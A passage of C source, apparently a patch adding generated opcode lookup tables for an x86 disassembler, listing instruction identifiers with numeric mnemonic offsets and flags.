/*II_66_0F_38_23*/{ 0x1a5, 7818 }, + /*II_66_0F_38_24*/{ 0x1a6, 7839 }, + /*II_66_0F_38_25*/{ 0x1a5, 7860 }, + /*II_66_0F_38_28*/{ 0x1a9, 7881 }, + /*II_66_0F_38_29*/{ 0x1a9, 7898 }, + /*II_66_0F_38_2A*/{ 0x1aa, 7917 }, + /*II_66_0F_38_2B*/{ 0x1a9, 7938 }, + /*II_66_0F_38_30*/{ 0x1a5, 7983 }, + /*II_66_0F_38_31*/{ 0x1a6, 8004 }, + /*II_66_0F_38_32*/{ 0x1a7, 8025 }, + /*II_66_0F_38_33*/{ 0x1a5, 8046 }, + /*II_66_0F_38_34*/{ 0x1a6, 8067 }, + /*II_66_0F_38_35*/{ 0x1a5, 8088 }, + /*II_66_0F_38_37*/{ 0x1a0, 8109 }, + /*II_66_0F_38_38*/{ 0x1a9, 8128 }, + /*II_66_0F_38_39*/{ 0x1a9, 8145 }, + /*II_66_0F_38_3A*/{ 0x1a9, 8162 }, + /*II_66_0F_38_3B*/{ 0x1a9, 8179 }, + /*II_66_0F_38_3C*/{ 0x1a9, 8196 }, + /*II_66_0F_38_3D*/{ 0x1a9, 8213 }, + /*II_66_0F_38_3E*/{ 0x1a9, 8230 }, + /*II_66_0F_38_3F*/{ 0x1a9, 8247 }, + /*II_66_0F_38_40*/{ 0x1a9, 8264 }, + /*II_66_0F_38_41*/{ 0x1a9, 8281 }, + /*II_66_0F_38_80*/{ 0x1ad, 8306 }, + /*II_66_0F_38_81*/{ 0x1ad, 8314 }, + /*II_66_0F_38_82*/{ 0x1ad, 8323 }, + /*II_66_0F_38_DB*/{ 0x1b0, 9172 }, + /*II_66_0F_38_DC*/{ 0x1b0, 9189 }, + /*II_66_0F_38_DD*/{ 0x1b0, 9206 }, + /*II_66_0F_38_DE*/{ 0x1b0, 9231 }, + /*II_66_0F_38_DF*/{ 0x1b0, 9248 }, + /*II_0F_38_F0*/{ 0x1b3, 9273 }, + /*II_F2_0F_38_F0*/{ 0x1b4, 9280 }, + /*II_0F_38_F1*/{ 0x1b5, 9273 }, + /*II_F2_0F_38_F1*/{ 0x1b6, 9280 }, + /*II_0F_71_02*/{ 0x1cd, 6458 }, + /*II_66_0F_71_02*/{ 0x1ce, 6458 }, + /*II_0F_71_04*/{ 0x1cd, 6717 }, + /*II_66_0F_71_04*/{ 0x1ce, 6717 }, + /*II_0F_71_06*/{ 0x1cd, 7031 }, + /*II_66_0F_71_06*/{ 0x1ce, 7031 }, + /*II_0F_72_02*/{ 0x1cd, 6473 }, + /*II_66_0F_72_02*/{ 0x1ce, 6473 }, + /*II_0F_72_04*/{ 0x1cd, 6732 }, + /*II_66_0F_72_04*/{ 0x1ce, 6732 }, + /*II_0F_72_06*/{ 0x1cd, 7046 }, + /*II_66_0F_72_06*/{ 0x1ce, 7046 }, + /*II_0F_73_02*/{ 0x1cd, 6488 }, + /*II_66_0F_73_02*/{ 0x1ce, 6488 }, + /*II_66_0F_73_03*/{ 0x1ce, 9852 }, + /*II_0F_73_06*/{ 0x1cd, 7061 }, + /*II_66_0F_73_06*/{ 0x1ce, 7061 }, + /*II_66_0F_73_07*/{ 0x1ce, 9869 }, + /*II_F3_0F_AE_00*/{ 0x1d0, 9904 }, + /*II_F3_0F_AE_01*/{ 0x1d0, 9934 }, + /*II_0F_AE_02*/{ 0x116, 9944 }, + /*II_F3_0F_AE_02*/{ 0x1d0, 9953 }, + /*II_0F_AE_03*/{ 0x116, 9973 }, + /*II_F3_0F_AE_03*/{ 0x1d0, 9982 }, + /*II_0F_C7_06*/{ 0x1d2, 10002 }, + /*II_66_0F_C7_06*/{ 0x188, 10011 }, + /*II_F3_0F_C7_06*/{ 0x188, 10020 } +}; + +_InstInfoEx InstInfosEx[381] = { + /*II_69*/{ { 0x34, 117 }, 0x0, 3, 0, 0, 0 }, + /*II_6B*/{ { 0x34, 117 }, 0x0, 5, 0, 0, 0 }, + /*II_98*/{ { 0x4e, 228 }, 0x0, 0, 0, 233, 239 }, + /*II_99*/{ { 0x4e, 245 }, 0x0, 0, 0, 250, 255 }, + /*II_E3*/{ { 0x76, 427 }, 0x0, 0, 0, 433, 440 }, + /*II_0F_A4*/{ { 0xac, 876 }, 0x0, 1, 0, 0, 0 }, + /*II_0F_A5*/{ { 0xac, 876 }, 0x0, 52, 0, 0, 0 }, + /*II_0F_AC*/{ { 0xac, 892 }, 0x0, 1, 0, 0, 0 }, + /*II_0F_AD*/{ { 0xac, 892 }, 0x0, 52, 0, 0, 0 }, + /*II_V_0F_10*/{ { 0x126, 2139 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_10*/{ { 0x126, 2148 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_10*/{ { 0x127, 2157 }, 0x20, 69, 0, 0, 0 }, + /*II_V_F2_0F_10*/{ { 0x127, 2165 }, 0x20, 69, 0, 0, 0 }, + /*II_VRR_F3_0F_10*/{ { 0x128, 2157 }, 0x60, 0, 0, 0, 0 }, + /*II_VRR_F2_0F_10*/{ { 0x129, 2165 }, 0x60, 0, 0, 0, 0 }, + /*II_V_0F_11*/{ { 0x12e, 2139 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_11*/{ { 0x12e, 2148 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_11*/{ { 0x127, 2157 }, 0x20, 69, 0, 0, 0 }, + /*II_V_F2_0F_11*/{ { 0x127, 2165 }, 0x20, 69, 0, 0, 0 }, + /*II_VRR_F3_0F_11*/{ { 0x12f, 2157 }, 0x60, 0, 0, 0, 0 }, + /*II_VRR_F2_0F_11*/{ { 0x130, 2165 }, 0x60, 0, 0, 0, 0 }, + /*II_0F_12*/{ { 0x131, 2173 }, 0x0, 0, 0, 2182, 0 }, + /*II_V_0F_12*/{ { 0x134, 2217 }, 0x0, 72, 0, 2227, 0 }, + /*II_V_66_0F_12*/{ { 0x135, 2236 }, 0x0, 46, 0, 0, 0 }, + /*II_V_F3_0F_12*/{ { 0x126, 2245 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F2_0F_12*/{ { 0x136, 2256 }, 0x41, 0, 0, 0, 0 }, + /*II_V_0F_13*/{ { 0x139, 2227 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_13*/{ { 0x139, 2236 }, 0x40, 0, 0, 0, 0 }, + /*II_V_0F_14*/{ { 0x13c, 2286 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_14*/{ { 0x13c, 2297 }, 0x1, 90, 0, 0, 0 }, + /*II_V_0F_15*/{ { 0x13c, 2328 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_15*/{ { 0x13c, 2339 }, 0x1, 90, 0, 0, 0 }, + /*II_0F_16*/{ { 0x131, 2350 }, 0x0, 0, 0, 2359, 0 }, + /*II_V_0F_16*/{ { 0x134, 2385 }, 0x0, 72, 0, 2395, 0 }, + /*II_V_66_0F_16*/{ { 0x135, 2404 }, 0x0, 46, 0, 0, 0 }, + /*II_V_F3_0F_16*/{ { 0x126, 2413 }, 0x41, 0, 0, 0, 0 }, + /*II_V_0F_17*/{ { 0x139, 2395 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_17*/{ { 0x139, 2404 }, 0x40, 0, 0, 0, 0 }, + /*II_V_0F_28*/{ { 0x126, 2489 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_28*/{ { 0x126, 2498 }, 0x41, 0, 0, 0, 0 }, + /*II_V_0F_29*/{ { 0x12e, 2489 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_29*/{ { 0x12e, 2498 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_2A*/{ { 0x135, 2547 }, 0x2, 79, 0, 0, 0 }, + /*II_V_F2_0F_2A*/{ { 0x135, 2558 }, 0x2, 79, 0, 0, 0 }, + /*II_V_0F_2B*/{ { 0x147, 2605 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_2B*/{ { 0x147, 2615 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_2C*/{ { 0x14c, 2669 }, 0x42, 0, 0, 0, 0 }, + /*II_V_F2_0F_2C*/{ { 0x14c, 2681 }, 0x42, 0, 0, 0, 0 }, + /*II_V_F3_0F_2D*/{ { 0x14c, 2733 }, 0x42, 0, 0, 0, 0 }, + /*II_V_F2_0F_2D*/{ { 0x14c, 2744 }, 0x42, 0, 0, 0, 0 }, + /*II_V_0F_2E*/{ { 0x14f, 2773 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_2E*/{ { 0x150, 2783 }, 0x40, 0, 0, 0, 0 }, + /*II_V_0F_2F*/{ { 0x14f, 2809 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_2F*/{ { 0x150, 2818 }, 0x40, 0, 0, 0, 0 }, + /*II_V_0F_50*/{ { 0x153, 2847 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_50*/{ { 0x153, 2858 }, 0x41, 0, 0, 0, 0 }, + /*II_V_0F_51*/{ { 0x126, 2901 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_51*/{ { 0x126, 2910 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_51*/{ { 0x135, 2919 }, 0x0, 71, 0, 0, 0 }, + /*II_V_F2_0F_51*/{ { 0x135, 2928 }, 0x0, 72, 0, 0, 0 }, + /*II_V_0F_52*/{ { 0x126, 2955 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_52*/{ { 0x135, 2965 }, 0x0, 71, 0, 0, 0 }, + /*II_V_0F_53*/{ { 0x126, 2989 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_53*/{ { 0x135, 2997 }, 0x0, 71, 0, 0, 0 }, + /*II_V_0F_54*/{ { 0x13c, 3019 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_54*/{ { 0x13c, 3027 }, 0x1, 90, 0, 0, 0 }, + /*II_V_0F_55*/{ { 0x13c, 3051 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_55*/{ { 0x13c, 3060 }, 0x1, 90, 0, 0, 0 }, + /*II_V_0F_56*/{ { 0x13c, 3081 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_56*/{ { 0x13c, 3088 }, 0x1, 90, 0, 0, 0 }, + /*II_V_0F_57*/{ { 0x13c, 3109 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_57*/{ { 0x13c, 3117 }, 0x1, 90, 0, 0, 0 }, + /*II_V_0F_58*/{ { 0x13c, 3153 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_58*/{ { 0x13c, 3161 }, 0x1, 90, 0, 0, 0 }, + /*II_V_F3_0F_58*/{ { 0x135, 3169 }, 0x0, 71, 0, 0, 0 }, + /*II_V_F2_0F_58*/{ { 0x135, 3177 }, 0x0, 72, 0, 0, 0 }, + /*II_V_0F_59*/{ { 0x13c, 3213 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_59*/{ { 0x13c, 3221 }, 0x1, 90, 0, 0, 0 }, + /*II_V_F3_0F_59*/{ { 0x135, 3229 }, 0x0, 71, 0, 0, 0 }, + /*II_V_F2_0F_59*/{ { 0x135, 3237 }, 0x0, 72, 0, 0, 0 }, + /*II_V_0F_5A*/{ { 0x156, 3285 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_5A*/{ { 0x157, 3296 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_5A*/{ { 0x135, 3307 }, 0x0, 71, 0, 0, 0 }, + /*II_V_F2_0F_5A*/{ { 0x135, 3318 }, 0x0, 72, 0, 0, 0 }, + /*II_V_0F_5B*/{ { 0x126, 3360 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_5B*/{ { 0x126, 3371 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_5B*/{ { 0x126, 3382 }, 0x41, 0, 0, 0, 0 }, + /*II_V_0F_5C*/{ { 0x13c, 3422 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_5C*/{ { 0x13c, 3430 }, 0x1, 90, 0, 0, 0 }, + /*II_V_F3_0F_5C*/{ { 0x135, 3438 }, 0x0, 71, 0, 0, 0 }, + /*II_V_F2_0F_5C*/{ { 0x135, 3446 }, 0x0, 72, 0, 0, 0 }, + /*II_V_0F_5D*/{ { 0x13c, 3482 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_5D*/{ { 0x13c, 3490 }, 0x1, 90, 0, 0, 0 }, + /*II_V_F3_0F_5D*/{ { 0x135, 3498 }, 0x0, 71, 0, 0, 0 }, + /*II_V_F2_0F_5D*/{ { 0x135, 3506 }, 0x0, 72, 0, 0, 0 }, + /*II_V_0F_5E*/{ { 0x13c, 3542 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_5E*/{ { 0x13c, 3550 }, 0x1, 90, 0, 0, 0 }, + /*II_V_F3_0F_5E*/{ { 0x135, 3558 }, 0x0, 71, 0, 0, 0 }, + /*II_V_F2_0F_5E*/{ { 0x135, 3566 }, 0x0, 72, 0, 0, 0 }, + /*II_V_0F_5F*/{ { 0x13c, 3602 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_5F*/{ { 0x13c, 3610 }, 0x1, 90, 0, 0, 0 }, + /*II_V_F3_0F_5F*/{ { 0x135, 3618 }, 0x0, 71, 0, 0, 0 }, + /*II_V_F2_0F_5F*/{ { 0x135, 3626 }, 0x0, 72, 0, 0, 0 }, + /*II_V_66_0F_60*/{ { 0x135, 3645 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_61*/{ { 0x135, 3668 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_62*/{ { 0x135, 3691 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_63*/{ { 0x135, 3713 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_64*/{ { 0x135, 3733 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_65*/{ { 0x135, 3752 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_66*/{ { 0x135, 3771 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_67*/{ { 0x135, 3791 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_68*/{ { 0x135, 3813 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_69*/{ { 0x135, 3836 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_6A*/{ { 0x135, 3859 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_6B*/{ { 0x135, 3881 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_6C*/{ { 0x135, 3904 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_6D*/{ { 0x135, 3929 }, 0x0, 73, 0, 0, 0 }, + /*II_0F_6E*/{ { 0x15a, 3942 }, 0x0, 0, 0, 0, 3948 }, + /*II_66_0F_6E*/{ { 0x15b, 3942 }, 0x0, 0, 0, 0, 3948 }, + /*II_V_66_0F_6E*/{ { 0x15c, 3954 }, 0x46, 0, 0, 3961, 0 }, + /*II_V_66_0F_6F*/{ { 0x126, 3984 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_6F*/{ { 0x126, 3993 }, 0x41, 0, 0, 0, 0 }, + /*II_0F_70*/{ { 0x15e, 4002 }, 0x0, 1, 0, 0, 0 }, + /*II_66_0F_70*/{ { 0x15f, 4010 }, 0x0, 1, 0, 0, 0 }, + /*II_F3_0F_70*/{ { 0x15f, 4018 }, 0x0, 1, 0, 0, 0 }, + /*II_F2_0F_70*/{ { 0x15f, 4027 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_70*/{ { 0x160, 4036 }, 0x40, 1, 0, 0, 0 }, + /*II_V_F3_0F_70*/{ { 0x160, 4045 }, 0x40, 1, 0, 0, 0 }, + /*II_V_F2_0F_70*/{ { 0x160, 4055 }, 0x40, 1, 0, 0, 0 }, + /*II_V_66_0F_74*/{ { 0x135, 4074 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_75*/{ { 0x135, 4093 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_76*/{ { 0x135, 4112 }, 0x0, 73, 0, 0, 0 }, + /*II_V_0F_77*/{ { 0x162, 4128 }, 0x49, 0, 0, 4140, 0 }, + /*II_66_0F_78*/{ { 0x164, 4158 }, 0x0, 8, 0, 0, 0 }, + /*II_F2_0F_78*/{ { 0x165, 4165 }, 0x0, 7, 8, 0, 0 }, + /*II_V_66_0F_7C*/{ { 0x13c, 4219 }, 0x1, 90, 0, 0, 0 }, + /*II_V_F2_0F_7C*/{ { 0x13c, 4228 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_7D*/{ { 0x13c, 4253 }, 0x1, 90, 0, 0, 0 }, + /*II_V_F2_0F_7D*/{ { 0x13c, 4262 }, 0x1, 90, 0, 0, 0 }, + /*II_0F_7E*/{ { 0x16c, 3942 }, 0x0, 0, 0, 0, 3948 }, + /*II_66_0F_7E*/{ { 0x16d, 3942 }, 0x0, 0, 0, 0, 3948 }, + /*II_V_66_0F_7E*/{ { 0x16e, 3954 }, 0x46, 0, 0, 3961, 0 }, + /*II_V_F3_0F_7E*/{ { 0x150, 3961 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_7F*/{ { 0x12e, 3984 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_7F*/{ { 0x12e, 3993 }, 0x41, 0, 0, 0, 0 }, + /*II_0F_AE_04*/{ { 0x170, 4271 }, 0x0, 0, 0, 0, 4278 }, + /*II_0F_AE_05*/{ { 0x171, 4287 }, 0x0, 0, 0, 4295, 4303 }, + /*II_0F_AE_06*/{ { 0x171, 4313 }, 0x0, 0, 0, 4321, 4331 }, + /*II_0F_AE_07*/{ { 0x172, 4343 }, 0x0, 0, 0, 4351, 0 }, + /*II_0F_C2*/{ { 0x179, 4392 }, 0x0, 0, 0, 4401, 4410 }, + /*II_66_0F_C2*/{ { 0x17a, 4471 }, 0x0, 0, 0, 4480, 4489 }, + /*II_F3_0F_C2*/{ { 0x17b, 4550 }, 0x0, 0, 0, 4559, 4568 }, + /*II_F2_0F_C2*/{ { 0x17c, 4629 }, 0x0, 0, 0, 4638, 4647 }, + /*II_V_0F_C2*/{ { 0x17d, 4708 }, 0x1, 90, 0, 4718, 4728 }, + /*II_V_66_0F_C2*/{ { 0x17d, 5110 }, 0x1, 90, 0, 5120, 5130 }, + /*II_V_F3_0F_C2*/{ { 0x17e, 5512 }, 0x0, 71, 0, 5522, 5532 }, + /*II_V_F2_0F_C2*/{ { 0x17e, 5914 }, 0x0, 72, 0, 5924, 5934 }, + /*II_0F_C4*/{ { 0x17f, 6316 }, 0x0, 1, 0, 0, 0 }, + /*II_66_0F_C4*/{ { 0x180, 6316 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_C4*/{ { 0x181, 6324 }, 0x0, 25, 1, 0, 0 }, + /*II_0F_C5*/{ { 0x182, 6333 }, 0x0, 1, 0, 0, 0 }, + /*II_66_0F_C5*/{ { 0x183, 6333 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_C5*/{ { 0x184, 6341 }, 0x40, 1, 0, 0, 0 }, + /*II_0F_C6*/{ { 0x185, 6350 }, 0x0, 1, 0, 0, 0 }, + /*II_66_0F_C6*/{ { 0x15f, 6358 }, 0x0, 1, 0, 0, 0 }, + /*II_V_0F_C6*/{ { 0x186, 6366 }, 0x1, 90, 1, 0, 0 }, + /*II_V_66_0F_C6*/{ { 0x186, 6375 }, 0x1, 90, 1, 0, 0 }, + /*II_0F_C7_01*/{ { 0x187, 6384 }, 0x0, 0, 0, 0, 6395 }, + /*II_V_66_0F_D0*/{ { 0x13c, 6436 }, 0x1, 90, 0, 0, 0 }, + /*II_V_F2_0F_D0*/{ { 0x13c, 6447 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_D1*/{ { 0x135, 6465 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_D2*/{ { 0x135, 6480 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_D3*/{ { 0x135, 6495 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_D4*/{ { 0x135, 6510 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_D5*/{ { 0x135, 6526 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_D6*/{ { 0x18b, 3961 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_D7*/{ { 0x18e, 6563 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_D8*/{ { 0x135, 6583 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_D9*/{ { 0x135, 6602 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_DA*/{ { 0x135, 6620 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_DB*/{ { 0x135, 6635 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_DC*/{ { 0x135, 6651 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_DD*/{ { 0x135, 6651 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_DE*/{ { 0x135, 6678 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_DF*/{ { 0x135, 6694 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_E0*/{ { 0x135, 6709 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_E1*/{ { 0x135, 6724 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_E2*/{ { 0x135, 6739 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_E3*/{ { 0x135, 6754 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_E4*/{ { 0x135, 6771 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_E5*/{ { 0x135, 6789 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_E6*/{ { 0x157, 6829 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F3_0F_E6*/{ { 0x156, 6841 }, 0x41, 0, 0, 0, 0 }, + /*II_V_F2_0F_E6*/{ { 0x157, 6852 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_E7*/{ { 0x147, 6880 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_E8*/{ { 0x135, 6898 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_E9*/{ { 0x135, 6915 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_EA*/{ { 0x135, 6932 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_EB*/{ { 0x135, 6946 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_EC*/{ { 0x135, 6960 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_ED*/{ { 0x135, 6977 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_EE*/{ { 0x135, 6994 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_EF*/{ { 0x135, 7009 }, 0x0, 73, 0, 0, 0 }, + /*II_V_F2_0F_F0*/{ { 0x192, 7023 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_F1*/{ { 0x135, 7038 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_F2*/{ { 0x135, 7053 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_F3*/{ { 0x135, 7068 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_F4*/{ { 0x135, 7085 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_F5*/{ { 0x135, 7104 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_F6*/{ { 0x135, 7122 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_F7*/{ { 0x196, 7153 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_F8*/{ { 0x135, 7173 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_F9*/{ { 0x135, 7188 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_FA*/{ { 0x135, 7203 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_FB*/{ { 0x135, 7218 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_FC*/{ { 0x135, 7233 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_FD*/{ { 0x135, 7248 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_FE*/{ { 0x135, 7263 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_00*/{ { 0x135, 7371 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_01*/{ { 0x135, 7388 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_02*/{ { 0x135, 7405 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_03*/{ { 0x135, 7423 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_04*/{ { 0x135, 7444 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_05*/{ { 0x135, 7464 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_06*/{ { 0x135, 7481 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_07*/{ { 0x135, 7499 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_08*/{ { 0x135, 7517 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_09*/{ { 0x135, 7534 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_0A*/{ { 0x135, 7551 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_0B*/{ { 0x135, 7570 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_0C*/{ { 0x13c, 7581 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_38_0D*/{ { 0x13c, 7592 }, 0x1, 90, 0, 0, 0 }, + /*II_V_66_0F_38_0E*/{ { 0x126, 7603 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_38_0F*/{ { 0x126, 7612 }, 0x41, 0, 0, 0, 0 }, + /*II_66_0F_38_10*/{ { 0x19f, 7621 }, 0x0, 74, 0, 0, 0 }, + /*II_66_0F_38_14*/{ { 0x19f, 7631 }, 0x0, 74, 0, 0, 0 }, + /*II_66_0F_38_15*/{ { 0x19f, 7641 }, 0x0, 74, 0, 0, 0 }, + /*II_V_66_0F_38_17*/{ { 0x126, 7658 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_38_18*/{ { 0x1a1, 7666 }, 0x41, 0, 0, 0, 0 }, + /*II_V_66_0F_38_19*/{ { 0x1a2, 7680 }, 0x50, 0, 0, 0, 0 }, + /*II_V_66_0F_38_1A*/{ { 0x1a3, 7694 }, 0x50, 0, 0, 0, 0 }, + /*II_V_66_0F_38_1C*/{ { 0x1a4, 7717 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_1D*/{ { 0x1a4, 7732 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_1E*/{ { 0x1a4, 7747 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_20*/{ { 0x150, 7765 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_21*/{ { 0x14f, 7786 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_22*/{ { 0x1a8, 7807 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_23*/{ { 0x150, 7828 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_24*/{ { 0x14f, 7849 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_25*/{ { 0x150, 7870 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_28*/{ { 0x135, 7889 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_29*/{ { 0x135, 7907 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_2A*/{ { 0x1ab, 7927 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_2B*/{ { 0x135, 7948 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_2C*/{ { 0x13c, 7959 }, 0x1, 92, 0, 0, 0 }, + /*II_V_66_0F_38_2D*/{ { 0x13c, 7971 }, 0x1, 92, 0, 0, 0 }, + /*II_V_66_0F_38_2E*/{ { 0x1ac, 7959 }, 0x1, 83, 0, 0, 0 }, + /*II_V_66_0F_38_2F*/{ { 0x1ac, 7971 }, 0x1, 83, 0, 0, 0 }, + /*II_V_66_0F_38_30*/{ { 0x150, 7993 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_31*/{ { 0x14f, 8014 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_32*/{ { 0x1a8, 8035 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_33*/{ { 0x150, 8056 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_34*/{ { 0x14f, 8077 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_35*/{ { 0x150, 8098 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_37*/{ { 0x135, 8118 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_38*/{ { 0x135, 8136 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_39*/{ { 0x135, 8153 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_3A*/{ { 0x135, 8170 